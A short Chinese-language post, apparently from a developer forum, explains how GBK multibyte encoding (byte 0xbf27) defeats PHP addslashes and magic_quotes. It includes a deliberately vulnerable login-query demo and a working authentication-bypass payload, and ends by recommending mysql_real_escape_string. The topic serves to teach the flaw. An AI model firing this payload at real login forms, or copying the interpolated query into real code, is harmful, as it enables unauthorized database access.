参考这位大虾:
http://shiflett.org/archive/184
addslash包括php.ini中默认设置的magic_quotes_gpc = On,也会存在这种可能:
原因:addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/'
如:
0xbf27 的字就不会,所以 縗' OR 1 limit 1/* 这个就存在
[code]
<?php
header('Content-Type: text/html; charset=GBK');
$sqlx="select id,isDisplay from user where usname='$username' and passwd='$password'";
echo $sqlx;
echo "<br>";
echo addslashes($username);
?>
<form action="" method=post>
<input type=text name=username>
<input type=submit>
</form>
[/code]
保存这个文件,并输入: ¿' OR 1 limit 1/* 进行测试
结果:
select id,isDisplay from user where usname='縗' OR 1 limit 1/*' and passwd=''
就会看到有一个'就可以PASS掉,这样是可怕的事情
后果:加入;就可以做任何想做的事情了。。
局限性:这个SQL句子只针对,字段字符集为GBK的才行,不然他会报错:
explain select id,isDisplay from user where username='縗' OR 1 limit 1/*' and passwd=''
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='
最安全的方法:
SQL插入之前检查输入参数:
还有要用mysql_real_escape_string来处理最后入库的SQL,,